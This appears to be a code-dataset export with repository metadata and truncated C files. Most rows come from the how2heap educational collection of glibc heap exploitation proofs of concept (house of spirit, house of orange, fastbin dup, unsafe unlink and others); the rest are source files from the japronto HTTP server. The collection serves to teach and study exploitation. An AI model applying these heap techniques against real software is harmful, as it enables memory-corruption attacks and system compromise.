repo_full_name stringlengths 6 93 | repo_url stringlengths 25 112 | repo_api_url stringclasses 28
values | owner stringclasses 28
values | repo_name stringclasses 28
values | description stringclasses 28
values | stars int64 617 98.8k | forks int64 31 355 ⌀ | watchers int64 990 999 ⌀ | license stringclasses 2
values | default_branch stringclasses 2
values | repo_created_at timestamp[s]date 2012-07-24 23:12:50 2025-06-16 08:07:28 ⌀ | repo_updated_at timestamp[s]date 2026-02-23 15:23:15 2026-05-03 18:52:12 ⌀ | repo_topics listlengths 0 13 ⌀ | repo_languages unknown | is_fork bool 1
class | open_issues int64 3 104 ⌀ | file_path stringlengths 3 208 | file_name stringclasses 509
values | file_extension stringclasses 1
value | file_size_bytes int64 101 84k ⌀ | file_url stringclasses 627
values | file_raw_url stringclasses 627
values | file_sha stringclasses 624
values | language stringclasses 8
values | parsed_at stringdate 2026-05-04 01:12:36 2026-05-04 19:41:55 | text stringlengths 100 102k |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
shellphish/how2heap | https://github.com/shellphish/how2heap | null | null | null | null | 8,625 | null | null | mit | null | null | null | null | null | null | null | glibc_2.23/large_bin_attack.c | null | null | null | null | null | null | C | 2026-05-04T18:39:51.451002 | /*
This technique is taken from
https://dangokyo.me/2018/04/07/a-revisit-to-large-bin-in-glibc/
[...]
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
vi... |
shellphish/how2heap | https://github.com/shellphish/how2heap | null | null | null | null | 8,625 | null | null | mit | null | null | null | null | null | null | null | glibc_2.23/mmap_overlapping_chunks.c | null | null | null | null | null | null | C | 2026-05-04T18:39:51.451896 | #include <stdlib.h>
#include <stdio.h>
#include <assert.h>
#include <unistd.h>
/*
Technique should work on all versions of GLibC
Compile: `gcc mmap_overlapping_chunks.c -o mmap_overlapping_chunks -g`
POC written by POC written by Maxwell Dulin (Strikeout)
*/
int main()
{
/*
A primer on Mmap chunks in GLibC
======... |
shellphish/how2heap | https://github.com/shellphish/how2heap | null | null | null | null | 8,625 | null | null | mit | null | null | null | null | null | null | null | glibc_2.23/overlapping_chunks.c | null | null | null | null | null | null | C | 2026-05-04T18:39:51.452457 | /*
A simple tale of overlapping chunk.
This technique is taken from
http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
int main(int argc , char* argv[]){
intptr_t *p1,*p2,*p3,*p4;
fprintf(stderr, ... |
shellphish/how2heap | https://github.com/shellphish/how2heap | null | null | null | null | 8,625 | null | null | mit | null | null | null | null | null | null | null | glibc_2.23/house_of_spirit.c | null | null | null | null | null | null | C | 2026-05-04T18:39:51.453784 | #include <stdio.h>
#include <stdlib.h>
int main()
{
fprintf(stderr, "This file demonstrates the house of spirit attack.\n");
fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
malloc(1);
fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
unsigned l... |
shellphish/how2heap | https://github.com/shellphish/how2heap | null | null | null | null | 8,625 | null | null | mit | null | null | null | null | null | null | null | glibc_2.23/overlapping_chunks_2.c | null | null | null | null | null | null | C | 2026-05-04T18:39:51.455943 | /*
Yet another simple tale of overlapping chunk.
This technique is taken from
https://loccs.sjtu.edu.cn/wiki/lib/exe/fetch.php?media=gossip:overview:ptmalloc_camera.pdf.
This is also referenced as Nonadjacent Free Chunk Consolidation Attack.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#includ... |
shellphish/how2heap | https://github.com/shellphish/how2heap | null | null | null | null | 8,625 | null | null | mit | null | null | null | null | null | null | null | glibc_2.23/house_of_roman.c | null | null | null | null | null | null | C | 2026-05-04T18:39:51.458299 | #define _GNU_SOURCE /* for RTLD_NEXT */
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <malloc.h>
#include <dlfcn.h>
char* shell = "/bin/sh\x00";
/*
Technique was tested on GLibC 2.23, 2.24 via the glibc_build.sh script inside of how2heap on Ubuntu 16.04. 2.25 was tested ... |
shellphish/how2heap | https://github.com/shellphish/how2heap | null | null | null | null | 8,625 | null | null | mit | null | null | null | null | null | null | null | glibc_2.23/house_of_storm.c | null | null | null | null | null | null | C | 2026-05-04T18:39:51.458848 | /*
POC for House of Storm on 2.23
For 2.26-2.28, the tcache will need to
be full for this to work. After this,
a patch to the unsorted bin attack likely prevents this
technique from working.
This technique uses a combination of editing
the unsorted bin chunk and the large bin chunks
to write a 'size' to a user c... |
shellphish/how2heap | https://github.com/shellphish/how2heap | null | null | null | null | 8,625 | null | null | mit | null | null | null | null | null | null | null | glibc_2.23/house_of_orange.c | null | null | null | null | null | null | C | 2026-05-04T18:39:51.460628 | #define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>
/*
The House of Orange uses an overflow in the heap to corrupt the _IO_list_all pointer
It requires a leak of the heap and the libc
Credit: http://4ngelboy.blogspot.com/2016/10/hitcon-ctf-q... |
shellphish/how2heap | https://github.com/shellphish/how2heap | null | null | null | null | 8,625 | null | null | mit | null | null | null | null | null | null | null | glibc_2.23/poison_null_byte.c | null | null | null | null | null | null | C | 2026-05-04T18:39:51.481672 | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>
int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);
printf("Welcome to poison null byte 2.0!\n");
printf("Tested in Ubuntu 16.04 64bit.\n");
printf("This technique only works with disabled ... |
shellphish/how2heap | https://github.com/shellphish/how2heap | null | null | null | null | 8,625 | null | null | mit | null | null | null | null | null | null | null | glibc_2.23/sysmalloc_int_free.c | null | null | null | null | null | null | C | 2026-05-04T18:39:52.283198 | #define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <assert.h>
#include <malloc.h>
#include <unistd.h>
#define SIZE_SZ sizeof(size_t)
#define CHUNK_HDR_SZ (SIZE_SZ*2)
#define MALLOC_ALIGN (SIZE_SZ*2)
#define MALLOC_MASK (-MALLOC_ALIGN)
#define PAGESIZE sysconf(_SC_PAGESIZE)
#define PAGE_MASK (PAGESI... |
shellphish/how2heap | https://github.com/shellphish/how2heap | null | null | null | null | 8,625 | null | null | mit | null | null | null | null | null | null | null | glibc_2.24/house_of_force.c | null | null | null | null | null | null | C | 2026-05-04T18:39:52.401455 | /*
This PoC works also with ASLR enabled.
It will overwrite a GOT entry so in order to apply exactly this technique RELRO must be disabled.
If RELRO is enabled you can always try to return a chunk on the stack as proposed in Malloc Des Maleficarum
( http://phrack.org/issues/66/10.html )
Tested in Ubun... |
shellphish/how2heap | https://github.com/shellphish/how2heap | null | null | null | null | 8,625 | null | null | mit | null | null | null | null | null | null | null | glibc_2.24/fastbin_dup_into_stack.c | null | null | null | null | null | null | C | 2026-05-04T18:39:52.415250 | #include <stdio.h>
#include <stdlib.h>
int main()
{
fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n");
unsigned long long stack_var;
fprintf(stderr, "The address we want malloc() to return is %p.\n", ... |
shellphish/how2heap | https://github.com/shellphish/how2heap | null | null | null | null | 8,625 | null | null | mit | null | null | null | null | null | null | null | glibc_2.23/unsorted_bin_attack.c | null | null | null | null | null | null | C | 2026-05-04T18:39:52.426258 | #include <stdio.h>
#include <stdlib.h>
int main(){
fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n");
fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "
"global variable global_max_fas... |
shellphish/how2heap | https://github.com/shellphish/how2heap | null | null | null | null | 8,625 | null | null | mit | null | null | null | null | null | null | null | glibc_2.23/unsafe_unlink.c | null | null | null | null | null | null | C | 2026-05-04T18:39:52.460311 | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
uint64_t *chunk0_ptr;
int main()
{
setbuf(stdout, NULL);
printf("Welcome to unsafe unlink 2.0!\n");
printf("Tested in Ubuntu 14.04/16.04 64bit.\n");
printf("This technique can be used when you have a pointer at a kn... |
shellphish/how2heap | https://github.com/shellphish/how2heap | null | null | null | null | 8,625 | null | null | mit | null | null | null | null | null | null | null | glibc_2.24/fastbin_dup_consolidate.c | null | null | null | null | null | null | C | 2026-05-04T18:39:52.572543 | #include <stdio.h>
#include <stdlib.h>
#include <assert.h>
/*
Original reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8
This document is mostly used to demonstrate malloc_consolidate and how it can be leveraged with a
double free to ... |
shellphish/how2heap | https://github.com/shellphish/how2heap | null | null | null | null | 8,625 | null | null | mit | null | null | null | null | null | null | null | glibc_2.24/house_of_lore.c | null | null | null | null | null | null | C | 2026-05-04T18:39:52.864792 | /*
Advanced exploitation of the House of Lore - Malloc Maleficarum.
This PoC take care also of the glibc hardening of smallbin corruption.
[ ... ]
else
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim)){
errstr = "malloc(): smallbin double linked list corrupted";
... |
shellphish/how2heap | https://github.com/shellphish/how2heap | null | null | null | null | 8,625 | null | null | mit | null | null | null | null | null | null | null | glibc_2.24/house_of_roman.c | null | null | null | null | null | null | C | 2026-05-04T18:39:53.018859 | #define _GNU_SOURCE /* for RTLD_NEXT */
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <malloc.h>
#include <dlfcn.h>
char* shell = "/bin/sh\x00";
/*
Technique was tested on GLibC 2.23, 2.24 via the glibc_build.sh script inside of how2heap on Ubuntu 16.04. 2.25 was tested ... |
shellphish/how2heap | https://github.com/shellphish/how2heap | null | null | null | null | 8,625 | null | null | mit | null | null | null | null | null | null | null | glibc_2.24/house_of_mind_fastbin.c | null | null | null | null | null | null | C | 2026-05-04T18:39:53.044578 | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <assert.h>
/*
House of Mind - Fastbin Variant
==========================
This attack is similar to the original 'House of Mind' in that it uses
a fake non-main arena in order to write to a new location. This
u... |
shellphish/how2heap | https://github.com/shellphish/how2heap | null | null | null | null | 8,625 | null | null | mit | null | null | null | null | null | null | null | glibc_2.24/house_of_spirit.c | null | null | null | null | null | null | C | 2026-05-04T18:39:53.050665 | #include <stdio.h>
#include <stdlib.h>
int main()
{
fprintf(stderr, "This file demonstrates the house of spirit attack.\n");
fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
malloc(1);
fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
unsigned l... |
shellphish/how2heap | https://github.com/shellphish/how2heap | null | null | null | null | 8,625 | null | null | mit | null | null | null | null | null | null | null | glibc_2.24/house_of_storm.c | null | null | null | null | null | null | C | 2026-05-04T18:39:53.079367 | /*
POC for House of Storm on 2.23
For 2.26-2.28, the tcache will need to
be full for this to work. After this,
a patch to the unsorted bin attack likely prevents this
technique from working.
This technique uses a combination of editing
the unsorted bin chunk and the large bin chunks
to write a 'size' to a user c... |
shellphish/how2heap | https://github.com/shellphish/how2heap | null | null | null | null | 8,625 | null | null | mit | null | null | null | null | null | null | null | glibc_2.24/fastbin_dup.c | null | null | null | null | null | null | C | 2026-05-04T18:39:53.425204 | #include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main()
{
fprintf(stderr, "This file demonstrates a simple double-free attack with fastbins.\n");
fprintf(stderr, "Allocating 3 buffers.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", a);
fpr... |
shellphish/how2heap | https://github.com/shellphish/how2heap | null | null | null | null | 8,625 | null | null | mit | null | null | null | null | null | null | null | glibc_2.24/large_bin_attack.c | null | null | null | null | null | null | C | 2026-05-04T18:39:53.496388 | /*
This technique is taken from
https://dangokyo.me/2018/04/07/a-revisit-to-large-bin-in-glibc/
[...]
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
vi... |
shellphish/how2heap | https://github.com/shellphish/how2heap | null | null | null | null | 8,625 | null | null | mit | null | null | null | null | null | null | null | glibc_2.23/unsorted_bin_into_stack.c | null | null | null | null | null | null | C | 2026-05-04T18:39:53.649379 | #include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <assert.h>
void jackpot(){ printf("Nice jump d00d\n"); exit(0); }
int main() {
intptr_t stack_buffer[4] = {0};
printf("Allocating the victim chunk\n");
intptr_t* victim = malloc(0x100);
printf("Allocating another chunk to av... |
shellphish/how2heap | https://github.com/shellphish/how2heap | null | null | null | null | 8,625 | null | null | mit | null | null | null | null | null | null | null | glibc_2.24/house_of_einherjar.c | null | null | null | null | null | null | C | 2026-05-04T18:39:53.729792 | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
/*
Credit to st4g3r for publishing this technique
The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc()
This technique may result in a more powerful pri... |
shellphish/how2heap | https://github.com/shellphish/how2heap | null | null | null | null | 8,625 | null | null | mit | null | null | null | null | null | null | null | glibc_2.24/unsafe_unlink.c | null | null | null | null | null | null | C | 2026-05-04T18:39:54.121957 | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
uint64_t *chunk0_ptr;
int main()
{
setbuf(stdout, NULL);
printf("Welcome to unsafe unlink 2.0!\n");
printf("Tested in Ubuntu 14.04/16.04 64bit.\n");
printf("This technique can be used when you have a pointer at a kn... |
shellphish/how2heap | https://github.com/shellphish/how2heap | null | null | null | null | 8,625 | null | null | mit | null | null | null | null | null | null | null | glibc_2.24/unsorted_bin_attack.c | null | null | null | null | null | null | C | 2026-05-04T18:39:54.123457 | #include <stdio.h>
#include <stdlib.h>
int main(){
fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n");
fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "
"global variable global_max_fas... |
shellphish/how2heap | https://github.com/shellphish/how2heap | null | null | null | null | 8,625 | null | null | mit | null | null | null | null | null | null | null | glibc_2.24/house_of_gods.c | null | null | null | null | null | null | C | 2026-05-04T18:39:54.208437 | /* House of Gods PoC */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#include <inttypes.h>
/*
* Welcome to the House of Gods...
*
* House of Gods is an arena hijacking technique for glibc < 2.27. It supplies
* the attacker with an arbitrary write against the thread_arena symbol o... |
shellphish/how2heap | https://github.com/shellphish/how2heap | null | null | null | null | 8,625 | null | null | mit | null | null | null | null | null | null | null | glibc_2.24/unsorted_bin_into_stack.c | null | null | null | null | null | null | C | 2026-05-04T18:39:54.275427 | #include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <assert.h>
void jackpot(){ printf("Nice jump d00d\n"); exit(0); }
int main() {
intptr_t stack_buffer[4] = {0};
printf("Allocating the victim chunk\n");
intptr_t* victim = malloc(0x100);
printf("Allocating another chunk to av... |
shellphish/how2heap | https://github.com/shellphish/how2heap | null | null | null | null | 8,625 | null | null | mit | null | null | null | null | null | null | null | glibc_2.27/fastbin_dup.c | null | null | null | null | null | null | C | 2026-05-04T18:39:54.372621 | #include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main()
{
setbuf(stdout, NULL);
printf("This file demonstrates a simple double-free attack with fastbins.\n");
printf("Fill up tcache first.\n");
void *ptrs[8];
for (int i=0; i<8; i++) {
ptrs[i] = malloc(8);
}
for (int i=0; i<7; i++) {
free(ptr... |
shellphish/how2heap | https://github.com/shellphish/how2heap | null | null | null | null | 8,625 | null | null | mit | null | null | null | null | null | null | null | glibc_2.24/mmap_overlapping_chunks.c | null | null | null | null | null | null | C | 2026-05-04T18:39:54.701119 | #include <stdlib.h>
#include <stdio.h>
#include <assert.h>
#include <unistd.h>
/*
Technique should work on all versions of GLibC
Compile: `gcc mmap_overlapping_chunks.c -o mmap_overlapping_chunks -g`
POC written by POC written by Maxwell Dulin (Strikeout)
*/
int main()
{
/*
A primer on Mmap chunks in GLibC
======... |
shellphish/how2heap | https://github.com/shellphish/how2heap | null | null | null | null | 8,625 | null | null | mit | null | null | null | null | null | null | null | glibc_2.27/fastbin_dup_into_stack.c | null | null | null | null | null | null | C | 2026-05-04T18:39:54.721199 | #include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main()
{
fprintf(stderr, "This file extends on fastbin_dup.c by tricking calloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n");
fprintf(stderr,"Fill up tcache first.\n");
void *ptrs[7];
for (int i=0; i<... |
shellphish/how2heap | https://github.com/shellphish/how2heap | null | null | null | null | 8,625 | null | null | mit | null | null | null | null | null | null | null | glibc_2.27/fastbin_dup_consolidate.c | null | null | null | null | null | null | C | 2026-05-04T18:39:54.750563 | #include <stdio.h>
#include <stdlib.h>
#include <assert.h>
/*
Original reference: https://valsamaras.medium.com/the-toddlers-introduction-to-heap-exploitation-fastbin-dup-consolidate-part-4-2-ce6d68136aa8
This document is mostly used to demonstrate malloc_consolidate and how it can be leveraged with a
double free to ... |
shellphish/how2heap | https://github.com/shellphish/how2heap | null | null | null | null | 8,625 | null | null | mit | null | null | null | null | null | null | null | glibc_2.27/fastbin_reverse_into_tcache.c | null | null | null | null | null | null | C | 2026-05-04T18:39:54.791698 | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
const size_t allocsize = 0x40;
int main(){
setbuf(stdout, NULL);
printf(
"\n"
"This attack is intended to have a similar effect to the unsorted_bin_attack,\n"
"except it works with a small allocation size (allocsize <= 0x7... |
shellphish/how2heap | https://github.com/shellphish/how2heap | null | null | null | null | 8,625 | null | null | mit | null | null | null | null | null | null | null | glibc_2.27/house_of_botcake.c | null | null | null | null | null | null | C | 2026-05-04T18:39:54.905101 | #include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>
int main()
{
/*
* This attack should bypass the restriction introduced in
* https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d
* If the libc does not include the restriction, you ... |
shellphish/how2heap | https://github.com/shellphish/how2heap | null | null | null | null | 8,625 | null | null | mit | null | null | null | null | null | null | null | glibc_2.27/house_of_einherjar.c | null | null | null | null | null | null | C | 2026-05-04T18:39:54.953833 | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>
/*
Credit to st4g3r for publishing this technique
The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc()
This technique may result in... |
shellphish/how2heap | https://github.com/shellphish/how2heap | null | null | null | null | 8,625 | null | null | mit | null | null | null | null | null | null | null | glibc_2.27/house_of_force.c | null | null | null | null | null | null | C | 2026-05-04T18:39:55.367295 | /*
This PoC works also with ASLR enabled.
It will overwrite a GOT entry so in order to apply exactly this technique RELRO must be disabled.
If RELRO is enabled you can always try to return a chunk on the stack as proposed in Malloc Des Maleficarum
( http://phrack.org/issues/66/10.html )
Tested in Ubun... |
shellphish/how2heap | https://github.com/shellphish/how2heap | null | null | null | null | 8,625 | null | null | mit | null | null | null | null | null | null | null | glibc_2.24/overlapping_chunks_2.c | null | null | null | null | null | null | C | 2026-05-04T18:39:58.936925 | /*
Yet another simple tale of overlapping chunk.
This technique is taken from
https://loccs.sjtu.edu.cn/wiki/lib/exe/fetch.php?media=gossip:overview:ptmalloc_camera.pdf.
This is also referenced as Nonadjacent Free Chunk Consolidation Attack.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#includ... |
shellphish/how2heap | https://github.com/shellphish/how2heap | null | null | null | null | 8,625 | null | null | mit | null | null | null | null | null | null | null | glibc_2.24/overlapping_chunks.c | null | null | null | null | null | null | C | 2026-05-04T18:39:58.984575 | /*
A simple tale of overlapping chunk.
This technique is taken from
http://www.contextis.com/documents/120/Glibc_Adventures-The_Forgotten_Chunks.pdf
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
int main(int argc , char* argv[]){
intptr_t *p1,*p2,*p3,*p4;
fprintf(stderr, ... |
shellphish/how2heap | https://github.com/shellphish/how2heap | null | null | null | null | 8,625 | null | null | mit | null | null | null | null | null | null | null | glibc_2.24/poison_null_byte.c | null | null | null | null | null | null | C | 2026-05-04T18:39:59.094032 | #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>
int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);
printf("Welcome to poison null byte 2.0!\n");
printf("Tested in Ubuntu 16.04 64bit.\n");
printf("This technique only works with disabled ... |
shellphish/how2heap | https://github.com/shellphish/how2heap | null | null | null | null | 8,625 | null | null | mit | null | null | null | null | null | null | null | glibc_2.24/sysmalloc_int_free.c | null | null | null | null | null | null | C | 2026-05-04T18:39:59.096911 | #define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <assert.h>
#include <malloc.h>
#include <unistd.h>
#define SIZE_SZ sizeof(size_t)
#define CHUNK_HDR_SZ (SIZE_SZ*2)
#define MALLOC_ALIGN (SIZE_SZ*2)
#define MALLOC_MASK (-MALLOC_ALIGN)
#define PAGESIZE sysconf(_SC_PAGESIZE)
#define PAGE_MASK (PAGESI... |
squeaky-pl/japronto | https://github.com/squeaky-pl/japronto | null | null | null | null | 8,551 | null | null | mit | null | null | null | null | null | null | null | src/japronto/pipeline/cpipeline.c | null | null | null | null | null | null | C | 2026-05-04T18:40:01.675279 | #include <Python.h>
#include "structmember.h"
#include "cpipeline.h"
static PyTypeObject PipelineType;
#ifdef PIPELINE_OPAQUE
static PyObject*
Pipeline_new(PyTypeObject* type, PyObject* args, PyObject* kw)
#else
PyObject*
Pipeline_new(Pipeline* self)
#endif
{
#ifdef PIPELINE_OPAQUE
Pipeline* self = NULL;
self =... |
squeaky-pl/japronto | https://github.com/squeaky-pl/japronto | null | null | null | null | 8,551 | null | null | mit | null | null | null | null | null | null | null | src/japronto/pipeline/cpipeline.h | null | null | null | null | null | null | C | 2026-05-04T18:40:01.677070 | #pragma once
#include <stdbool.h>
#include <Python.h>
#ifdef PIPELINE_PAIR
typedef struct {
bool is_task;
PyObject* request;
PyObject* task;
} PipelineEntry;
static inline bool
PipelineEntry_is_task(PipelineEntry entry)
{
return entry.is_task;
}
static inline void
PipelineEntry_DECREF(PipelineEntry entry)... |
squeaky-pl/japronto | https://github.com/squeaky-pl/japronto | null | null | null | null | 8,551 | null | null | mit | null | null | null | null | null | null | null | src/japronto/capsule.h | null | null | null | null | null | null | C | 2026-05-04T18:40:01.681536 | #pragma once
void* get_ptr_from_mod(const char* module_name, const char* attr_name,
const char* capsule_name);
PyObject* put_ptr_in_mod(PyObject* m, void* ptr, const char* attr_name,
const char* capsule_name);
#define import_capi(module_name) \
get_ptr_from_mod(modu... |
squeaky-pl/japronto | https://github.com/squeaky-pl/japronto | null | null | null | null | 8,551 | null | null | mit | null | null | null | null | null | null | null | src/japronto/protocol/cprotocol.c | null | null | null | null | null | null | C | 2026-05-04T18:40:01.692666 | #include <Python.h>
#include "cprotocol.h"
#include "cmatcher.h"
#include "crequest.h"
#include "cresponse.h"
#include "capsule.h"
#include "match_dict.h"
#ifdef PARSER_STANDALONE
static PyObject* Parser;
#endif
static PyObject* PyRequest;
static PyObject* RouteNotFoundException;
static Request_CAPI* request_capi;
... |
squeaky-pl/japronto | https://github.com/squeaky-pl/japronto | null | null | null | null | 8,551 | null | null | mit | null | null | null | null | null | null | null | src/japronto/common.h | null | null | null | null | null | null | C | 2026-05-04T18:40:01.699617 | #pragma once
typedef enum {
KEEP_ALIVE_UNSET,
KEEP_ALIVE_TRUE,
KEEP_ALIVE_FALSE
} KEEP_ALIVE;
|
squeaky-pl/japronto | https://github.com/squeaky-pl/japronto | null | null | null | null | 8,551 | null | null | mit | null | null | null | null | null | null | null | src/japronto/cpu_features.c | null | null | null | null | null | null | C | 2026-05-04T18:40:01.710109 | #include <cpuid.h>
#include <assert.h>
#include "cpu_features.h"
int supports_x86_sse42(void)
{
#if defined(__clang__)
unsigned int eax = 0, ebx = 0, ecx = 0, edx = 0;
__get_cpuid(1, &eax, &ebx, &ecx, &edx);
return ecx & bit_SSE42;
#else
__builtin_cpu_init();
return __builtin_cpu_supports("sse4.2");
#endif
... |
squeaky-pl/japronto | https://github.com/squeaky-pl/japronto | null | null | null | null | 8,551 | null | null | mit | null | null | null | null | null | null | null | src/japronto/capsule.c | null | null | null | null | null | null | C | 2026-05-04T18:40:01.710614 | #include <Python.h>
void* get_ptr_from_mod(const char* module_name, const char* attr_name,
const char* capsule_name)
{
void* ptr;
PyObject* module = NULL;
PyObject* capsule = NULL;
module = PyImport_ImportModule(module_name);
if(!module)
goto error;
capsule = PyObject_GetAttrS... |
squeaky-pl/japronto | https://github.com/squeaky-pl/japronto | null | null | null | null | 8,551 | null | null | mit | null | null | null | null | null | null | null | src/japronto/parser/cparser.h | null | null | null | null | null | null | C | 2026-05-04T18:40:01.720674 | #pragma once
#include <stdbool.h>
#include <Python.h>
#include "picohttpparser.h"
enum Parser_state {
PARSER_HEADERS,
PARSER_BODY
};
enum Parser_transfer {
PARSER_TRANSFER_UNSET,
PARSER_IDENTITY,
PARSER_CHUNKED
};
enum Parser_connection {
PARSER_CONNECTION_UNSET,
PARSER_CLOSE,
PARSER_KEEP_ALIVE
... |
squeaky-pl/japronto | https://github.com/squeaky-pl/japronto | null | null | null | null | 8,551 | null | null | mit | null | null | null | null | null | null | null | src/japronto/parser/cparser.c | null | null | null | null | null | null | C | 2026-05-04T18:40:01.724112 | #include <strings.h>
#include <sys/param.h>
#include "cparser.h"
#include "cpu_features.h"
#ifndef PARSER_STANDALONE
#include "cprotocol.h"
#endif
static PyObject* malformed_headers;
static PyObject* malformed_body;
static PyObject* incomplete_headers;
static PyObject* invalid_headers;
static PyObject* incomplete_bo... |
squeaky-pl/japronto | https://github.com/squeaky-pl/japronto | null | null | null | null | 8,551 | null | null | mit | null | null | null | null | null | null | null | src/japronto/response/cresponse.c | null | null | null | null | null | null | C | 2026-05-04T18:40:02.593252 | #include <Python.h>
#include <sys/param.h>
#include "cresponse.h"
#include "capsule.h"
#include "reasons.h"
#ifdef RESPONSE_OPAQUE
static PyObject* json_dumps;
static const size_t reason_offset = 13;
static const size_t minor_offset = 7;
#endif
static const char header[] = "HTTP/1.1 200 OK\r\n"
"Content-Length: ... |
squeaky-pl/japronto | https://github.com/squeaky-pl/japronto | null | null | null | null | 8,551 | null | null | mit | null | null | null | null | null | null | null | src/japronto/protocol/creaper.c | null | null | null | null | null | null | C | 2026-05-04T18:40:02.594928 | #include <Python.h>
#include "cprotocol.h"
#include "capsule.h"
typedef struct {
PyObject_HEAD
PyObject* connections;
PyObject* call_later;
PyObject* check_idle;
PyObject* check_idle_handle;
PyObject* check_interval;
unsigned long idle_timeout;
} Reaper;
#ifdef REAPER_DEBUG_PRINT
#define debug_print(f... |
squeaky-pl/japronto | https://github.com/squeaky-pl/japronto | null | null | null | null | 8,551 | null | null | mit | null | null | null | null | null | null | null | src/japronto/protocol/generator.h | null | null | null | null | null | null | C | 2026-05-04T18:40:02.595899 | #pragma once
#ifndef GENERATOR_OPAQUE
struct _Generator;
#define GENERATOR struct _Generator
PyObject*
Generator_new(void);
void
Generator_dealloc(struct _Generator* self);
int
Generator_init(struct _Generator* self, PyObject* object);
void*
generator_init(void);
#endif
|
squeaky-pl/japronto | https://github.com/squeaky-pl/japronto | null | null | null | null | 8,551 | null | null | mit | null | null | null | null | null | null | null | src/japronto/protocol/generator.c | null | null | null | null | null | null | C | 2026-05-04T18:40:02.602218 | #include <Python.h>
#include "generator.h"
typedef struct _Generator {
PyObject_HEAD
PyObject* object;
} Generator;
static PyTypeObject GeneratorType;
#ifdef GENERATOR_OPAQUE
static PyObject*
Generator_new(PyTypeObject* type, PyObject* args, PyObject* kw)
#else
PyObject*
Generator_new(void)
#endif
{
Gener... |
squeaky-pl/japronto | https://github.com/squeaky-pl/japronto | null | null | null | null | 8,551 | null | null | mit | null | null | null | null | null | null | null | src/japronto/request/crequest.c | null | null | null | null | null | null | C | 2026-05-04T18:40:02.616662 | #include <stddef.h>
#include <sys/param.h>
#include <strings.h>
#include <string.h>
#include "crequest.h"
#include "cresponse.h"
#ifdef REQUEST_OPAQUE
#include "picohttpparser.h"
#endif
#include "capsule.h"
static PyObject* PyResponse;
static PyObject* partial;
#ifdef REQUEST_OPAQUE
static PyObject* HTTP10;
static... |
squeaky-pl/japronto | https://github.com/squeaky-pl/japronto | null | null | null | null | 8,551 | null | null | mit | null | null | null | null | null | null | null | src/japronto/protocol/cprotocol.h | null | null | null | null | null | null | C | 2026-05-04T18:40:02.646439 | #pragma once
#ifndef PARSER_STANDALONE
#include "cparser.h"
#endif
#include "cpipeline.h"
#include "crequest.h"
#include <stdbool.h>
#define GATHER_MAX_RESP 24
typedef struct {
PyObject* responses[GATHER_MAX_RESP];
size_t responses_end;
size_t len;
PyBytesObject* prev_buffer;
bool enabled;
} Gather;
typ... |
squeaky-pl/japronto | https://github.com/squeaky-pl/japronto | null | null | null | null | 8,551 | null | null | mit | null | null | null | null | null | null | null | src/japronto/router/cmatcher.h | null | null | null | null | null | null | C | 2026-05-04T18:40:03.229793 | #pragma once
#include <Python.h>
#include <stdbool.h>
#include "match_dict.h"
typedef struct {
PyObject* route;
PyObject* handler;
bool coro_func;
bool simple;
size_t pattern_len;
size_t methods_len;
